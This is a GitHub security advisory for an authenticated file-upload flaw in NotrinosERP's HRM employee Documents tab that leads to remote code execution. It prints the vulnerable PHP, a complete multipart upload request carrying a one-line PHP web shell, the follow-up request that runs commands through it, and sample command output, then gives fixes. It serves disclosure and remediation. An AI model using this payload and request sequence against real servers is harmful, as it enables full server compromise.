---
id: GHSA-qv4m-m73m-8hj7
title: >-
  NotrinosERP: Authenticated arbitrary file upload leads to remote code
  execution via HRM employee "Documents" (doc_file)
summary: >-
  NotrinosERP: Authenticated arbitrary file upload leads to remote code
  execution via HRM employee "Documents" (doc_file)
severity: high
cvss: 8.8
cwe:
  - CWE-22
  - CWE-434
vendor: notrinos
product: notrinos/notrinos-erp
ecosystem: composer
affected:
  - notrinos/notrinos-erp <= 1.0.0
published: '2026-07-10'
updated: '2026-07-10'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-qv4m-m73m-8hj7'
references:
  - url: >-
      https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7
  - url: 'https://github.com/advisories/GHSA-qv4m-m73m-8hj7'
tags:
  - ghsa
  - composer
ingestedAt: '2026-07-10T20:06:10.718Z'
---

## Overview

#### Summary
An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.

#### Details
The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:

```php
// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
```

There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:
- `company_path()` resolves under the web root; `config.default.php` sets
  `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.
- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`
  only — it does **not** block `.php` and does **not** cover `company/`.
- The stored path is then echoed **unescaped** into a clickable "View" link
  (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),
  handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.

#### Proof of Concept
The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the
hidden `_token`, then submit. Against your **own** local instance:

```http
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"

<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--
```

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

```http
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
```

The command in `c` executes on the server.

#### Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

```
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
```

Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.

#### Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

#### Suggested fix
- Never use the client filename on disk. Store with a server-generated name and **no executable
  extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name
  only as a DB label.
- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`
  branch already does.
- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in
  `company/*/documents/` that disables script execution (`php_admin_flag engine off`,
  `RemoveHandler .php`, `SetHandler none`).
- `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS).

#### Resources / credit
- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.
- Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.

## Affected packages

- `notrinos/notrinos-erp <= 1.0.0`

## Remediation

Refer to the advisory for the patched release.